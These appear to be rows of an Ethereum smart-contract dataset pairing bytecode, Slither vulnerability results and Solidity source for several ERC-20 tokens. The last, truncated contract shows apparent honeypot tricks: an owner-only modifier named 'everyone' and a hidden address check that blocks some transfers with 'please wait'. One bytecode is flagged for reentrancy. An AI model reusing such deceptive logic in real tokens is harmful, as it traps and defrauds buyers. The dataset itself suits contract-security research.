19601f8201168201806040525081019061085d9190611741565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610cbe565b6000546001600160a01b031633146108b75760405162461bcd60e51b8152600401610442906119a6565b60005b815181101561091f576001600660008484815181106108db576108db611aed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091781611abc565b9150506108ba565b5050565b6000546001600160a01b0316331461094d5760405162461bcd60e51b8152600401610442906119a6565b6000610958306105ab565b90506104c0816110f6565b6000546001600160a01b0316331461098d5760405162461bcd60e51b8152600401610442906119a6565b600e546109ad9030906001600160a01b0316678ac7230489e80000610b9a565b600e546001600160a01b031663f305d71947306109c9816105ab565b6000806109de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7a9190611923565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af257600080fd5b505af1158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c091906118ed565b6000546001600160a01b03163314610b545760405162461bcd60e51b8152600401610442906119a6565b600b8110156104c057600b55565b6000546001600160a01b03163314610b8c5760405162461bcd60e51b8152600401610442906119a6565b600b8110156104c057600c55565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e0c57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4e57506001600160a01b03821660009081526005602052604090205460ff16155b15610fee576000600955600c54600a55600f546001600160a01b038481169116148015610e895750600e546001600160a01b03838116911614155b8015610eae57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec35750600f54600160b81b900460ff165b15610ef0576000610ed3836105ab565b601054909150610ee3838361127f565b1115610eee57600080fd5b505b600f546001600160a01b038381169116148015610f1b5750600e546001600160a01b03848116911614155b8015610f4057506001600160a01b03831660009081526005602052604090205460ff16155b15610f51576000600955600b54600a555b6000610f5c306105ab565b600f54909150600160a81b900460ff16158015610f875750600f546001600160a01b03858116911614155b8015610f9c5750600f54600160b01b900460ff165b15610fec576000610fb9600b610fb38460046112de565b9061135d565b9050610fc58183611aa5565b9150610fd08161139f565b610fd9826110f6565b478015610fe957610fe947611038565b50505b505b610ff98383836113d5565b505050565b600081848411156110225760405162461bcd60e51b81526004016104429190611951565b50600061102f8486611aa5565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091f573d6000803e3d6000fd5b60006007548211156110d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110e36113e0565b90506110ef838261135d565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113e5761113e611aed565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119257600080fd5b505afa1580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca9190611741565b816001815181106111dd576111dd611aed565b6001600160a01b039283166020918202929092010152600e546112039130911684610b9a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123c9085906000908690309042906004016119db565b600060405180830381600087803b15801561125657600080fd5b505af115801561126a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061128c8385611a4c565b9050838110156110ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b6000826112ed5750600061047a565b60006112f98385611a86565b9050826113068583611a64565b146110ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b60006110ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611403565b600f805460ff60a81b1916600160a81b17905580156113c5576113c53061dead83610cbe565b50600f805460ff60a81b19169055565b610ff9838383611431565b60008060006113ed611528565b90925090506113fc828261135d565b9250505090565b600081836114245760405162461bcd60e51b81526004016104429190611951565b50600061102f8486611a64565b60008060008060008061144387611568565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147590876115c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114a4908661127f565b6001600160a01b0389166000908152600260205260409020556114c681611607565b6114d08483611651565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151591815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611543828261135d565b82101561155f57505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006115858a600954600a54611675565b92509250925060006115956113e0565b905060008060006115a88e8787876116c4565b919e509c509a509598509396509194505050505091939550919395565b60006110ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffe565b60006116116113e0565b9050600061161f83836112de565b3060009081526002602052604090205490915061163c908261127f565b30600090815260026020526040902055505050565b60075461165e90836115c5565b60075560085461166e908261127f565b6008555050565b60008080806116896064610fb389896112de565b9050600061169c6064610fb38a896112de565b905060006116b4826116ae8b866115c5565b906115c5565b9992985090965090945050505050565b60008080806116d388866112de565b905060006116e188876112de565b905060006116ef88886112de565b90506000611701826116ae86866115c5565b939b939a50919850919650505050505050565b803561171f81611b19565b919050565b60006020828403121561173657600080fd5b81356110ef81611b19565b60006020828403121561175357600080fd5b81516110ef81611b19565b6000806040838503121561177157600080fd5b823561177c81611b19565b9150602083013561178c81611b19565b809150509250929050565b6000806000606084860312156117ac57600080fd5b83356117b781611b19565b925060208401356117c781611b19565b929592945050506040919091013590565b600080604083850312156117eb57600080fd5b82356117f681611b19565b946020939093013593505050565b6000602080838503121561181757600080fd5b823567ffffffffffffffff8082111561182f57600080fd5b818501915085601f83011261184357600080fd5b81358181111561185557611855611b03565b8060051b604051601f19603f8301168101818110858211171561187a5761187a611b03565b604052828152858101935084860182860187018a101561189957600080fd5b600095505b838610156118c3576118af81611714565b85526001959095019493860193860161189e565b5098975050505050505050565b6000602082840312156118e257600080fd5b81356110ef81611b2e565b6000602082840312156118ff57600080fd5b81516110ef81611b2e565b60006020828403121561191c57600080fd5b5035919050565b60008060006060848603121561193857600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561197e57858101830151858201604001528201611962565b81811115611990576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5f57611a5f611ad7565b500190565b600082611a8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa057611aa0611ad7565b500290565b600082821015611ab757611ab7611ad7565b500390565b6000600019821415611ad057611ad0611ad7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c057600080fd5b80151581146104c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fb554dd27aff182b9f4b08696fb699b8eee60462169f22cf8262a77124df40f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,817 |
0xadb5230926c3f10f17fecd1974394e6296b1ce0e
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/FarashaCoin.sol
contract FarashaCoin is StandardToken,BurnableToken {
string public constant name = "Farasha";
string public constant symbol = "FLB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 250000000 * (10 ** uint256(decimals)); // 250 Millions token remaining
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
// _mint(msg.sender, INITIAL_SUPPLY);
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea5780632ff2e9dc1461026f578063313ce5671461029a57806342966c68146102cb57806366188463146102f857806370a082311461035d57806395d89b41146103b4578063a9059cbb14610444578063d73dd623146104a9578063dd62ed3e1461050e575b600080fd5b3480156100d657600080fd5b506100df610585565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105be565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d46106b0565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ba565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610a75565b6040518082815260200191505060405180910390f35b3480156102a657600080fd5b506102af610a86565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d757600080fd5b506102f660048036038101908080359060200190929190505050610a8b565b005b34801561030457600080fd5b50610343600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b604051808215151515815260200191505060405180910390f35b34801561036957600080fd5b5061039e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2a565b6040518082815260200191505060405180910390f35b3480156103c057600080fd5b506103c9610d72565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104095780820151818401526020810190506103ee565b50505050905090810190601f1680156104365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045057600080fd5b5061048f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b604051808215151515815260200191505060405180910390f35b3480156104b557600080fd5b506104f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fcb565b604051808215151515815260200191505060405180910390f35b34801561051a57600080fd5b5061056f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c7565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f466172617368610000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d057600080fd5b610821826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a630ee6b2800281565b601281565b610a953382611283565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610baa576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3e565b610bbd838261124e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f464c42000000000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dfa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3657600080fd5b610e87826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f1a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061105c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561125c57fe5b818303905092915050565b6000818301905082811015151561127a57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156112d057600080fd5b611321816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113788160015461124e90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058209b4485e96f4de556f540a8ff138c30a1002fb0d4f6cb26f2ca07085ac32cf8480029
|
{"success": true, "error": null, "results": {}}
| 7,818 |
0x426727bb5933e8f79de4df839a32c4e2a461e558
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier everyone {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
